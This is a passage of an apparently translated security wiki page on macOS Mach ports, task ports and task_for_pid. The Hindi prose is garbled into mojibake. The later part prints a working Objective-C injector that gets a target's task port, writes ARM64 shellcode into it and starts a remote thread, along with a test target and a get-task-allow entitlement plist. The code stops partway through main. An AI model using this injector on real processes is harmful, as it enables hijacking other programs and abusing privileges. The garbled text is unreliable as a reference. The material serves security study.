  • рдЕрдиреНрдп рд░реВрдЯреАрди рдЬреЛ рдмреБрд▓рд╛рдП рдЬрд╛ рд╕рдХрддреЗ рд╣реИрдВ:

  • host_get_boot_info: machine_boot_info() рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ

  • host_priv_statistics: рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░реА рд╕рд╛рдВрдЦреНрдпрд┐рдХреА рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ

  • vm_allocate_cpm: рдПрдХрд╕рдВрдШрдЯрд┐рдд рдлрд┐рдЬрд┐рдХрд▓ рдореЗрдореЛрд░реА рдЖрд╡рдВрдЯрд┐рдд рдХрд░реЗрдВ

  • host_processors: рдореЗрдЬрдмрд╛рди рдкреНрд░реЛрд╕реЗрд╕рд░реНрд╕ рдХреЛ рднреЗрдЬреЗрдВ

  • mach_vm_wire: рдореЗрдореЛрд░реА рдХреЛ рд░рд╣рдиреЗ рд╡рд╛рд▓рд╛ рдмрдирд╛рдПрдВ

  • рдХреНрдпреЛрдВрдХрд┐ рд░реВрдЯ рдЗрд╕ рдЕрдиреБрдорддрд┐ рддрдХ рдкрд╣реБрдВрдЪ рд╕рдХрддрд╛ рд╣реИ, рдпрд╣ рд╣реЛ рд╕рдХрддрд╛ рд╣реИ рдХрд┐ рд╡рд╣ host_set_[special/exception]_port[s] рдХреЛ рдмреБрд▓рд╛рдХрд░ рдореЗрдЬрдмрд╛рди рд╡рд┐рд╢реЗрд╖ рдпрд╛ рдЕрд╡рд╢реЗрд╖ рдмрдВрджрд░рдЧрд╛рд╣реЛрдВ рдХреЛ рд╣рд╛рдЗрдЬреИрдХ рдХрд░реЗрдВред

рдЗрди рд╕рднреА рдореЗрдЬрдмрд╛рди рд╡рд┐рд╢реЗрд╖ рдмрдВрджрд░рдЧрд╛рд╣реЛрдВ рдХреЛ рджреЗрдЦрдирд╛ рд╕рдВрднрд╡ рд╣реИ рджреНрд╡рд╛рд░рд╛ рдЪрд▓рд╛рдХрд░:

procexp all ports | grep "HSP"

рдХрд╛рд░реНрдп рд╡рд┐рд╢реЗрд╖ рдкреЛрд░реНрдЯ

рдпреЗ рдкреЛрд░реНрдЯ рд╡рд┐рд╢реЗрд╖ рд╕реЗрд╡рд╛рдУрдВ рдХреЗ рд▓рд┐рдП рдЖрд░рдХреНрд╖рд┐рдд рд╣реИрдВред рдЗрдиреНрд╣реЗрдВ task_[get/set]_special_port рдХреЛ рдмреБрд▓рд╛рдХрд░ рдкреНрд░рд╛рдкреНрдд/рд╕реЗрдЯ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдЗрдиреНрд╣реЗрдВ task_special_ports.h рдореЗрдВ рдкрд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ:

typedef	int	task_special_port_t;

#define TASK_KERNEL_PORT	1	/* Represents task to the outside
world.*/
#define TASK_HOST_PORT		2	/* The host (priv) port for task.  */
#define TASK_BOOTSTRAP_PORT	4	/* Bootstrap environment for task. */
#define TASK_WIRED_LEDGER_PORT	5	/* Wired resource ledger for task. */
#define TASK_PAGED_LEDGER_PORT	6	/* Paged resource ledger for task. */

From here:

  • TASK_KERNEL_PORT[task-self send right]: рдпрд╣ рдкреЛрд░реНрдЯ рдЗрд╕ рдЯрд╛рд╕реНрдХ рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдЗрд╕реНрддреЗрдорд╛рд▓ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдореИрд╕реЗрдЬреЗрд╕ рднреЗрдЬрдиреЗ рдХреЗ рд▓рд┐рдП рдЬреЛ рдЗрд╕ рдЯрд╛рд╕реНрдХ рдХреЛ рдкреНрд░рднрд╛рд╡рд┐рдд рдХрд░рддреЗ рд╣реИрдВред рдпрд╣ рдкреЛрд░реНрдЯ mach_task_self (рдиреАрдЪреЗ рджреЗрдЦреЗрдВ Task Ports) рджреНрд╡рд╛рд░рд╛ рд╡рд╛рдкрд╕ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред

  • TASK_BOOTSTRAP_PORT[bootstrap send right]: рдЯрд╛рд╕реНрдХ рдХрд╛ bootstrap рдкреЛрд░реНрдЯред рдЗрд╕реНрддреЗрдорд╛рд▓ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдЕрдиреНрдп рд╕рд┐рд╕реНрдЯрдо рд╕реЗрд╡рд╛ рдкреЛрд░реНрдЯ рдХреА рд╡рд╛рдкрд╕реА рдХреЗ рд▓рд┐рдП рдореИрд╕реЗрдЬреЗрд╕ рднреЗрдЬрдиреЗ рдХреЗ рд▓рд┐рдПред

  • TASK_HOST_NAME_PORT[host-self send right]: рдЗрд╕рдореЗрдВ рдЖрд╡рд╛рд╕реА рдЖрд╡рд╛рдЬ рдХреА рдЬрд╛рдирдХрд╛рд░реА рдХрд╛ рдЕрдиреБрд░реЛрдз рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдпрд╣ рдкреЛрд░реНрдЯ mach_host_self рджреНрд╡рд╛рд░рд╛ рд╡рд╛рдкрд╕ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред

  • TASK_WIRED_LEDGER_PORT[ledger send right]: рдЗрд╕ рдЯрд╛рд╕реНрдХ рдХреЛ рдЙрд╕рдХреА рд╡рд╛рдпрд░реНрдб рдХрд░реНрдиреЗрд▓ рдореЗрдореЛрд░реА рд╕реЗ рдЬреЛрдбрд╝рдиреЗ рдХреЗ рд▓рд┐рдП рд╕реНрд░реЛрдд рдХрд╛ рдирд╛рдордХрд░рдг рдХрд░рдиреЗ рд╡рд╛рд▓рд╛ рдкреЛрд░реНрдЯред

  • TASK_PAGED_LEDGER_PORT[ledger send right]: рдЗрд╕ рдЯрд╛рд╕реНрдХ рдХреЛ рдЙрд╕рдХреА рдбрд┐рдлрд╝реЙрд▓реНрдЯ рдореЗрдореЛрд░реА рдореИрдиреЗрдЬреНрдб рдореЗрдореЛрд░реА рд╕реЗ рдЬреЛрдбрд╝рдиреЗ рдХреЗ рд▓рд┐рдП рд╕реНрд░реЛрдд рдХрд╛ рдирд╛рдордХрд░рдг рдХрд░рдиреЗ рд╡рд╛рд▓рд╛ рдкреЛрд░реНрдЯред

Task Ports

рдореВрд▓ рд░реВрдк рд╕реЗ Mach рдореЗрдВ "рдкреНрд░рдХреНрд░рд┐рдпрд╛рдПрдБ" рдирд╣реАрдВ рдереАрдВ, рдЙрд╕рдореЗрдВ "рдЯрд╛рд╕реНрдХ" рдерд╛ рдЬрд┐рд╕реЗ рдзрд╛рдЧреЛрдВ рдХреЗ рдПрдХ рдбрд┐рдмреНрдмреЗ рдХреЗ рд░реВрдк рдореЗрдВ рдЕрдзрд┐рдХ рдорд╛рдирд╛ рдЧрдпрд╛ рдерд╛ред рдЬрдм Mach рдХреЛ BSD рдХреЗ рд╕рд╛рде рдорд┐рд▓рд╛рдпрд╛ рдЧрдпрд╛ рддреЛ рд╣рд░ рдЯрд╛рд╕реНрдХ рдХреЛ рдПрдХ BSD рдкреНрд░рдХреНрд░рд┐рдпрд╛ рд╕реЗ рд╕рдВрдмрдВрдзрд┐рдд рдорд╛рдирд╛ рдЧрдпрд╛ред рдЗрд╕рд▓рд┐рдП рд╣рд░ BSD рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЗ рдкрд╛рд╕ рдЙрд╕реЗ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ рд╡рд┐рд╡рд░рдг рд╣реЛрддрд╛ рд╣реИ рдФрд░ рд╣рд░ Mach рдЯрд╛рд╕реНрдХ рдХреЗ рднреА рдЕрдкрдиреЗ рдЕрдВрджрд░ рдХрд╛рдо рдХрд░рдиреЗ рдХреА рдХреНрд╖рдорддрд╛рдПрдБ рд╣реЛрддреА рд╣реИрдВ (рдХреЗрд╡рд▓ рдЕрд╕реНрдерд┐рддрд┐рдЧреНрд░рд╕реНрдд pid 0 рдХреЗ рд▓рд┐рдП рдЬреЛ kernel_task рд╣реИ рдХреЗ рд▓рд┐рдП).

рдЗрд╕рдХреЗ рд╕рд╛рде рджреЛ рдмрд╣реБрдд рджрд┐рд▓рдЪрд╕реНрдк рдлрд╝рдВрдХреНрд╢рди рд╣реИрдВ:

  • task_for_pid(target_task_port, pid, &task_port_of_pid): рдирд┐рд░реНрджрд┐рд╖реНрдЯ pid рджреНрд╡рд╛рд░рд╛ рд╕рдВрдмрдВрдзрд┐рдд рдЯрд╛рд╕реНрдХ рдХреЗ рд▓рд┐рдП рдЯрд╛рд╕реНрдХ рдкреЛрд░реНрдЯ рдХреЗ рд▓рд┐рдП рдПрдХ SEND рд░рд╛рдЗрдЯ рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ рдФрд░ рдЗрд╕реЗ рдирд┐рд░реНрджрд┐рд╖реНрдЯ target_task_port рдХреЛ рджреЗрдВ (рдЬреЛ рд╕рд╛рдорд╛рдиреНрдпрдд: рдХреЙрд▓рд░ рдЯрд╛рд╕реНрдХ рд╣реЛрддрд╛ рд╣реИ рдЬрд┐рд╕рдиреЗ mach_task_self() рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рд╣реИ, рд▓реЗрдХрд┐рди рдПрдХ рдЕрд▓рдЧ рдЯрд╛рд╕реНрдХ рдкрд░ рдПрдХ SEND рдкреЛрд░реНрдЯ рд╣реЛ рд╕рдХрддрд╛ рд╣реИред)

  • pid_for_task(task, &pid): рдПрдХ рдЯрд╛рд╕реНрдХ рдХреЗ рд▓рд┐рдП рдПрдХ SEND рд░рд╛рдЗрдЯ рдХреЗ рджреНрд╡рд╛рд░рд╛ рджрд┐рдпрд╛ рдЧрдпрд╛, рдЗрд╕ рдЯрд╛рд╕реНрдХ рд╕реЗ рд╕рдВрдмрдВрдзрд┐рдд PID рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдПрдВред

рдЯрд╛рд╕реНрдХ рдХреЗ рднреАрддрд░ рдХреНрд░рд┐рдпрд╛рдПрдБ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдЯрд╛рд╕реНрдХ рдХреЛ рдЕрдкрдиреЗ рдЖрдк рдХреЗ рд▓рд┐рдП SEND рд░рд╛рдЗрдЯ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдереА рдЬреЛ mach_task_self() рдХреЛ рдХреЙрд▓ рдХрд░рдХреЗ рдкреНрд░рд╛рдкреНрдд рдХреА рдЧрдИ рдереА (рдЬреЛ task_self_trap (28) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ)ред рдЗрд╕ рдЕрдиреБрдорддрд┐ рдХреЗ рд╕рд╛рде рдПрдХ рдЯрд╛рд╕реНрдХ рдХрдИ рдХреНрд░рд┐рдпрд╛рдПрдБ рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдЬреИрд╕реЗ:

  • task_threads: рдЯрд╛рд╕реНрдХ рдХреЗ рд╕рднреА рдзрд╛рдЧреЛрдВ рдХреЗ рд▓рд┐рдП SEND рд░рд╛рдЗрдЯ рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ

  • task_info: рдЯрд╛рд╕реНрдХ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЬрд╛рдирдХрд╛рд░реА рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ

  • task_suspend/resume: рдПрдХ рдЯрд╛рд╕реНрдХ рдХреЛ рд░реЛрдХреЗрдВ рдпрд╛ рдлрд┐рд░ рдлрд┐рд░ рд╕реЗ рд╢реБрд░реВ рдХрд░реЗрдВ

  • task_[get/set]_special_port

  • thread_create: рдПрдХ рдзрд╛рдЧрд╛ рдмрдирд╛рдПрдВ

  • task_[get/set]_state: рдЯрд╛рд╕реНрдХ рд╕реНрдерд┐рддрд┐ рдирд┐рдпрдВрддреНрд░рдг рдХрд░реЗрдВ

  • рдФрд░ рдЕрдзрд┐рдХ mach/task.h рдореЗрдВ рдорд┐рд▓ рд╕рдХрддрд╛ рд╣реИред

рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдПрдХ рдЕрд▓рдЧ рдЯрд╛рд╕реНрдХ рдХреЗ рдЯрд╛рд╕реНрдХ рдкреЛрд░реНрдЯ рдкрд░ рдПрдХ SEND рд░рд╛рдЗрдЯ рдХреЗ рд╕рд╛рде, рдПрдХ рдЕрд▓рдЧ рдЯрд╛рд╕реНрдХ рдкрд░ рдРрд╕реА рдХреНрд░рд┐рдпрд╛рдПрдБ рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реИред

рдЗрд╕рдХреЗ рдЕрддрд┐рд░рд┐рдХреНрдд, рдЯрд╛рд╕реНрдХ_рдкреЛрд░реНрдЯ рднреА vm_map рдкреЛрд░реНрдЯ рд╣реИ рдЬрд┐рд╕рд╕реЗ рдПрдХ рдЯрд╛рд╕реНрдХ рдХреЗ рднреАрддрд░ рдореЗрдореЛрд░реА рдкрдврд╝рдиреЗ рдФрд░ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рд╣реЛрддреА рд╣реИ рдЬреИрд╕реЗ vm_read() рдФрд░ vm_write() рдХреЗ рдлрд╝рдВрдХреНрд╢рди рдХреЗ рд╕рд╛рдеред рдпрд╣ рдореВрд▓ рд░реВрдк рд╕реЗ рдЗрд╕рдХрд╛ рдорддрд▓рдм рд╣реИ рдХрд┐ рдПрдХ рдЯрд╛рд╕реНрдХ рдЬрд┐рд╕рдХреЗ рдкрд╛рд╕ рдПрдХ рдЕрд▓рдЧ рдЯрд╛рд╕реНрдХ рдХреЗ рдЯрд╛рд╕реНрдХ_рдкреЛрд░реНрдЯ рдкрд░ SEND рд░рд╛рдЗрдЯ рд╣реИ, рдЙрд╕ рдЯрд╛рд╕реНрдХ рдореЗрдВ рдХреЛрдб рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛрдЧрд╛ред

рдзреНрдпрд╛рди рд░рдЦреЗрдВ рдХрд┐ рдХреНрдпреЛрдВрдХрд┐ рдХрд░реНрдиреЗрд▓ рднреА рдПрдХ рдЯрд╛рд╕реНрдХ рд╣реИ, рдЕрдЧрд░ рдХреЛрдИ SEND рдЕрдиреБрдорддрд┐рдпрд╛рдБ рдкреНрд░рд╛рдкреНрдд рдХрд░ рд▓реЗрддрд╛ рд╣реИ kernel_task рдкрд░, рддреЛ рд╡рд╣ рдХрд░реНрдиреЗрд▓ рдХреЛ рдХреБрдЫ рднреА рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреА рдХреНрд╖рдорддрд╛ рд╣реЛрдЧреА (рдЬреЗрд▓рдмреНрд░реЗрдХреНрд╕).

  • mach_task_self() рдХреЛ рдХреЙрд▓ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдирд╛рдо рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЗрд╕ рдкреЛрд░реНрдЯ рдХреЗ рд▓рд┐рдП рдХреЙрд▓ рдХрд░реЗрдВ рдХреЙрд▓рд░ рдЯрд╛рд╕реНрдХ рдХреЗ рд▓рд┐рдПред рдпрд╣ рдкреЛрд░реНрдЯ рдХреЗрд╡рд▓ exec() рдХреЗ рдЕрд╡рд░реЛрдз рдХреЗ рдмрд╛рд╣рд░ рд╡рд┐рд░рд╛рд╕рдд рд╣реИ; fork() рдХреЗ рд╕рд╛рде рдирдИ рдЯрд╛рд╕реНрдХ рдмрдирд╛рдИ рдЬрд╛рддреА рд╣реИ (рдПрдХ рд╡рд┐рд╢реЗрд╖ рдорд╛рдорд▓реЗ рдХреЗ рд░реВрдк рдореЗрдВ, рдПрдХ рдЯрд╛рд╕реНрдХ рдХреЛ exec() рдХреЗ рдмрд╛рдж рднреА рдПрдХ рдирдпрд╛ рдЯрд╛рд╕реНрдХ рдкреЛрд░реНрдЯ рдорд┐рд▓рддрд╛ рд╣реИред) рдЯрд╛рд╕реНрдХ рдЙрддреНрдкрдиреНрди рдХрд░рдиреЗ рдФрд░ рдЗрд╕рдХрд╛ рдкреЛрд░реНрдЯ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХрд╛ рдПрдХрдорд╛рддреНрд░ рддрд░реАрдХрд╛ рд╣реИ "рдкреЛрд░реНрдЯ рд╕реНрд╡реИрдк рдиреГрддреНрдп" рдХрд░рддреЗ рд╕рдордп fork() рдХрд░рддреЗ рд╕рдордпред

  • рдЗрд╕ рдкреЛрд░реНрдЯ рддрдХ рдкрд╣реБрдВрдЪрдиреЗ рдХреА рдкреНрд░рддрд┐рдмрдВрдзрд╛рдПрдБ (рдмрд╛рдЗрдирд░реА AppleMobileFileIntegrity рд╕реЗ macos_task_policy рд╕реЗ):

  • рдпрджрд┐ рдРрдк рдХреЗ рдкрд╛рд╕ com.apple.security.get-task-allow entitlement рд╣реИ рддреЛ рдПрдХ рд╣реА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рд╕реЗ рд╕рдорд╛рди рдкреНрд░рдХреНрд░рд┐рдпрд╛рдПрдБ рдЯрд╛рд╕реНрдХ рдкреЛрд░реНрдЯ рддрдХ рдкрд╣реБрдВрдЪ рд╕рдХрддреА рд╣реИрдВ (рдбреАрдмрдЧрд┐рдВрдЧ рдХреЗ рд▓рд┐рдП Xcode рджреНрд╡рд╛рд░рд╛ рд╕рд╛рдорд╛рдиреНрдпрдд: рдЬреЛрдбрд╝рд╛ рдЬрд╛рддрд╛ рд╣реИ)ред рдиреЛрдЯрд░рд╛рдЗрдЬрд╝реЗрд╢рди рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдЗрд╕реЗ рдЙрддреНрдкрд╛рджрди рд░рд┐рд▓реАрдЬрд╝ рдХреЗ рд▓рд┐рдП рдирд╣реАрдВ рдЕрдиреБрдорддрд┐ рджреЗрдЧреАред

  • com.apple.system-task-ports entitlement рд╡рд╛рд▓реЗ рдРрдкреНрд╕ рдХрд┐рд╕реА рднреА рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЗ рд▓рд┐рдП рдЯрд╛рд╕реНрдХ рдкреЛрд░реНрдЯ рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдХреЗрд╡рд▓ рдХрд░реНрдиреЗрд▓ рдХреЛ рдирд╣реАрдВред рдкреБрд░рд╛рдиреЗ рд╕рдВрд╕реНрдХрд░рдгреЛрдВ рдореЗрдВ рдЗрд╕реЗ task_for_pid-allow рдХрд╣рд╛ рдЬрд╛рддрд╛ рдерд╛ред рдпрд╣ рдХреЗрд╡рд▓ Apple рдПрдкреНрд▓рд┐рдХреЗрд╢рдиреНрд╕ рдХреЛ рдкреНрд░рджрд╛рди рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред

  • рд░реВрдЯ рдРрдкреНрд╕ рдПрдХ рд╣рд╛рд░реНрдбрдиреНрдб рд░рдирдЯрд╛рдЗрдо рдХреЗ рд╕рд╛рде рдХрдВрдкрд╛рдЗрд▓ рдирд╣реАрдВ рдХреА рдЧрдИ рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреЗ рдЯрд╛рд╕реНрдХ рдкреЛрд░реНрдЯ рддрдХ рдкрд╣реБрдВрдЪ рд╕рдХрддреЗ рд╣реИрдВ (рдФрд░ рди рдХреЗрд╡рд▓ Apple рд╕реЗ).

рдЯрд╛рд╕реНрдХ рдирд╛рдо рдкреЛрд░реНрдЯ: рдПрдХ рдЯрд╛рд╕реНрдХ рдкреЛрд░реНрдЯ рдХрд╛ рдПрдХ рдЕрдирдзрд┐рдХреГрдд рд╕рдВрд╕реНрдХрд░рдгред рдпрд╣ рдЯрд╛рд╕реНрдХ рдХреЛ рд╕рдВрджрд░реНрднрд┐рдд рдХрд░рддрд╛ рд╣реИ, рд▓реЗрдХрд┐рди рдЗрд╕реЗ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рдирд╣реАрдВ рджреЗрддрд╛ред рдЗрд╕рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЙрдкрд▓рдмреНрдз рдПрдХрдорд╛рддреНрд░ рдЪреАрдЬ рд╣реИ task_info()ред

Thread Ports

рдзрд╛рдЧреЛрдВ рдХреЗ рд╕рд╛рде рднреА рд╕рдВрдмрдВрдзрд┐рдд рдкреЛрд░реНрдЯ рд╣реЛрддреЗ рд╣реИрдВ, рдЬреЛ рдЯрд╛рд╕реНрдХ рдХреЛ рдХреЙрд▓ рдХрд░рдиреЗ рд╕реЗ рджрд┐рдЦрд╛рдИ рджреЗрддреЗ рд╣реИрдВ task_threads рдФрд░ рдкреНрд░реЛрд╕реЗрд╕рд░ рдХреЗ рд╕рд╛рде processor_set_threadsред рдзрд╛рдЧреЗ рдкреЛрд░реНрдЯ рдХреЗ рд▓рд┐рдП рдПрдХ SEND рд░рд╛рдЗрдЯ рдереНрд░реЗрдб рдПрдХреНрдЯ рдЙрдкрдкреНрд░рдгрд╛рд▓реА рд╕реЗ рдлрд╝рдВрдХреНрд╢рди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ, рдЬреИрд╕реЗ:

  • thread_terminate

  • thread_[get/set]_state

  • act_[get/set]_state

  • thread_[suspend/resume]

  • thread_info

  • ...

рдХрд┐рд╕реА рднреА рдзрд╛рдЧреЗ рдХреЛ рдЗрд╕ рдкреЛрд░реНрдЯ рдХреЛ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП mach_thread_sef рдХреЙрд▓ рдХрд░ рд╕рдХрддрд╛ рд╣реИред

рдзрд╛рдЧреЗ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╢реЗрд▓рдХреЛрдб рдЗрдВрдЬреЗрдХреНрд╢рди рдЯрд╛рд╕реНрдХ рдкреЛрд░реНрдЯ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ

рдЖрдк рдпрд╣рд╛рдВ рд╕реЗ рдПрдХ рд╢реЗрд▓рдХреЛрдб рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:

Introduction to ARM64v8
// clang -framework Foundation mysleep.m -o mysleep
// codesign --entitlements entitlements.plist -s - mysleep

#import <Foundation/Foundation.h>

double performMathOperations() {
double result = 0;
for (int i = 0; i < 10000; i++) {
result += sqrt(i) * tan(i) - cos(i);
}
return result;
}

int main(int argc, const char * argv[]) {
@autoreleasepool {
NSLog(@"Process ID: %d", [[NSProcessInfo processInfo]
processIdentifier]);
while (true) {
[NSThread sleepForTimeInterval:5];

performMathOperations();  // Silent action

[NSThread sleepForTimeInterval:5];
}
}
return 0;
}

{% рдЯреИрдм рд╢реАрд░реНрд╖рдХ="entitlements.plist" %}

<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>com.apple.security.get-task-allow</key>
<true/>
</dict>
</plist>

рдХрдВрдкрд╛рдЗрд▓ рдХрд░реЗрдВ рдкрд┐рдЫрд▓реЗ рдкреНрд░реЛрдЧреНрд░рд╛рдо рдХреЛ рдФрд░ рдЕрдзрд┐рдХрд╛рд░ рдЬреЛрдбрд╝реЗрдВ рдХреЛрдб рдЗрдВрдЬреЗрдХреНрд╢рди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрд╕реА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рд╕рд╛рде (рдЕрдЧрд░ рдирд╣реАрдВ рддреЛ рдЖрдкрдХреЛ sudo рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рд╣реЛрдЧрд╛)ред

sc_injector.m

```objectivec // gcc -framework Foundation -framework Appkit sc_injector.m -o sc_injector // Based on https://gist.github.com/knightsc/45edfc4903a9d2fa9f5905f60b02ce5a?permalink_comment_id=2981669 // and on https://newosxbook.com/src.jl?tree=listings&file=inject.c

#import <Foundation/Foundation.h> #import <AppKit/AppKit.h> #include <mach/mach_vm.h> #include <sys/sysctl.h>

#ifdef arm64

kern_return_t mach_vm_allocate ( vm_map_t target, mach_vm_address_t *address, mach_vm_size_t size, int flags );

kern_return_t mach_vm_write ( vm_map_t target_task, mach_vm_address_t address, vm_offset_t data, mach_msg_type_number_t dataCnt );

#else #include <mach/mach_vm.h> #endif

#define STACK_SIZE 65536 #define CODE_SIZE 128

// ARM64 shellcode that executes touch /tmp/lalala char injectedCode[] = "\xff\x03\x01\xd1\xe1\x03\x00\x91\x60\x01\x00\x10\x20\x00\x00\xf9\x60\x01\x00\x10\x20\x04\x00\xf9\x40\x01\x00\x10\x20\x08\x00\xf9\x3f\x0c\x00\xf9\x80\x00\x00\x10\xe2\x03\x1f\xaa\x70\x07\x80\xd2\x01\x00\x00\xd4\x2f\x62\x69\x6e\x2f\x73\x68\x00\x2d\x63\x00\x00\x74\x6f\x75\x63\x68\x20\x2f\x74\x6d\x70\x2f\x6c\x61\x6c\x61\x6c\x61\x00";

int inject(pid_t pid){

task_t remoteTask;

// Get access to the task port of the process we want to inject into kern_return_t kr = task_for_pid(mach_task_self(), pid, &remoteTask); if (kr != KERN_SUCCESS) { fprintf (stderr, "Unable to call task_for_pid on pid %d: %d. Cannot continue!\n",pid, kr); return (-1); } else{ printf("Gathered privileges over the task port of process: %d\n", pid); }

// Allocate memory for the stack mach_vm_address_t remoteStack64 = (vm_address_t) NULL; mach_vm_address_t remoteCode64 = (vm_address_t) NULL; kr = mach_vm_allocate(remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE);

if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to allocate memory for remote stack in thread: Error %s\n", mach_error_string(kr)); return (-2); } else {

fprintf (stderr, "Allocated remote stack @0x%llx\n", remoteStack64); }

// Allocate memory for the code remoteCode64 = (vm_address_t) NULL; kr = mach_vm_allocate( remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE );

if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to allocate memory for remote code in thread: Error %s\n", mach_error_string(kr)); return (-2); }

// Write the shellcode to the allocated memory kr = mach_vm_write(remoteTask, // Task port remoteCode64, // Virtual Address (Destination) (vm_address_t) injectedCode, // Source 0xa9); // Length of the source

if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to write remote thread memory: Error %s\n", mach_error_string(kr)); return (-3); }

// Set the permissions on the allocated code memory kr = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_EXECUTE);

if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to set memory permissions for remote thread's code: Error %s\n", mach_error_string(kr)); return (-4); }

// Set the permissions on the allocated stack memory kr = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE);

if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to set memory permissions for remote thread's stack: Error %s\n", mach_error_string(kr)); return (-4); }

// Create thread to run shellcode struct arm_unified_thread_state remoteThreadState64; thread_act_t remoteThread;

memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64) );

remoteStack64 += (STACK_SIZE / 2); // this is the real stack //remoteStack64 -= 8; // need alignment of 16

const char* p = (const char*) remoteCode64;

remoteThreadState64.ash.flavor = ARM_THREAD_STATE64; remoteThreadState64.ash.count = ARM_THREAD_STATE64_COUNT; remoteThreadState64.ts_64.__pc = (u_int64_t) remoteCode64; remoteThreadState64.ts_64.__sp = (u_int64_t) remoteStack64;

printf ("Remote Stack 64 0x%llx, Remote code is %p\n", remoteStack64, p );

kr = thread_create_running(remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64, (thread_state_t) &remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT , &remoteThread );

if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to create remote thread: error %s", mach_error_string (kr)); return (-3); }

return (0); }

pid_t pidForProcessName(NSString *processName) { NSArray *arguments = @[@"pgrep", processName]; NSTask *task = [[NSTask alloc] init]; [task setLaunchPath:@"/usr/bin/env"]; [task setArguments:arguments];

NSPipe *pipe = [NSPipe pipe]; [task setStandardOutput:pipe];

NSFileHandle *file = [pipe fileHandleForReading];

[task launch];

NSData *data = [file readDataToEndOfFile]; NSString *string = [[NSString alloc] initWithData:data encoding:NSUTF8StringEncoding];

return (pid_t)[string integerValue]; }

BOOL isStringNumeric(NSString str) { NSCharacterSet nonNumbers = [[NSCharacterSet decimalDigitCharacterSet] invertedSet]; NSRange r = [str rangeOfCharacterFromSet: nonNumbers]; return r.location == NSNotFound; }

int main(int argc, const char * argv[]) { @autoreleasepool { if (argc < 2) { NSLog(@"Usage: %s ", argv[0]); return 1; }

NSString *arg = [NSString stringWithUTF8String:argv[1]]; pid_t pid;

